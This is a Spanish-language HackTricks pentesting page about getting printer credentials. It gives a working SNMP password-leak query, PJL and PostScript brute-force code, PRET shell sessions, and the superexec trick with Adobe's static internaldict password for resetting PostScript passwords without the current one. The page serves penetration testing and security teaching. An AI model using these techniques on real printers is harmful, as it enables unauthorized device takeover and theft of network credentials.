hacktricks/network-services-pentesting/pentesting-printers/credentials-disclosure-brute-force.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

7.1 KiB

Divulgación de Credenciales / Fuerza Bruta

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Las impresoras suelen ser desplegadas con una contraseña predeterminada o sin contraseña inicial. En ambos casos, los usuarios finales o los administradores deben establecer activamente una contraseña para asegurar el dispositivo.

Divulgación de Contraseña

SNMP

Las antiguas impresoras HP tenían un OID vulnerable que devolvía la contraseña. Otros proveedores pueden tener problemas similares basados en SNMP.

snmpget -v1 -c public printer iso.3.6.1.4.1.11.2.3.9.1.1.13.0
iso.3.6.1.4.1.11.2.3.9.1.1.13.0 = Hex-STRING: 41 41 41 00 …

Pass-Back

Si la impresora está autorizando a las personas usando un LDAP externo. Si tienes acceso para cambiar esta configuración (tal vez usando una interfaz de consola web) puedes hacer que la impresora se conecte a tu servidor LDAP y autorizar a cualquier usuario.
Ten en cuenta que también podrías abusar de esta configuración para robar las credenciales que la impresora está usando para conectarse al servidor LDAP. Lee aquí para aprender más.

Brute-Force

PJL

Las contraseñas PJL son vulnerables a ataques de fuerza bruta debido a su limitado tamaño de clave de 16 bits. En menos de 30 minutos puedes adivinar la contraseña correcta.

Puedes usar los comandos lock y unlock de PRET para probar la fuerza bruta:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> lock 999
PIN protection:  ENABLED
Panel lock:      ON
Disk lock:       ON
printer:/> unlock
No PIN given, cracking.
PIN protection:  DISABLED
Panel lock:      OFF
Disk lock:       OFF

PostScript

PostScript ofrece dos tipos de contraseñas: la SystemParamsPassword se utiliza para cambiar la configuración de trabajos de impresión como el tamaño del papel, mientras que la StartJobPassword es necesaria para salir del bucle del servidor y, por lo tanto, alterar permanentemente el entorno de PostScript.

Los ataques de fuerza bruta contra las contraseñas de PostScript se pueden realizar extremadamente rápido porque el intérprete de PostScript se puede programar para literalmente crackearse a sí mismo:

/min 0 def /max 1000000 def
statusdict begin {
  min 1 max
  {dup checkpassword {== flush stop} {pop} ifelse} for
} stopped pop

Otro enfoque es bypassear las contraseñas de PostScript restableciéndolas con el operador superexec propietario de Adobe. Este operador reside en el diccionario internaldict, que está "protegido" por una contraseña estática y mágica (1183615869). Envolver el código PostScript en superexec permite a un atacante ignorar varios mecanismos de protección del lenguaje, que normalmente generarían un error de acceso inválido. Esto se puede utilizar para establecer contraseñas de PostScript sin enviar inicialmente la contraseña actual, como se muestra a continuación:

{ << /SystemParamsPassword (0)
     /StartJobPassword (0) >> setsystemparams
} 1183615869 internaldict /superexec get exec

Los comandos de bloqueo y desbloqueo de PRET se pueden utilizar para probar ataques de fuerza bruta contra contraseñas PostScript numéricas (enteras) o para burlarlas con magia superexec:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> lock 999
printer:/> unlock
No password given, cracking.
Device unlocked with password: 999
printer:/> lock S0me_Re4lly_g00d_Passw0rd!
printer:/> unlock bypass
Resetting password to zero with super-secret PostScript magic
Device unlocked with password: 0

Más información sobre la divulgación de contraseñas y el ataque de fuerza bruta en http://hacking-printers.net/wiki/index.php/Credential_disclosure

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥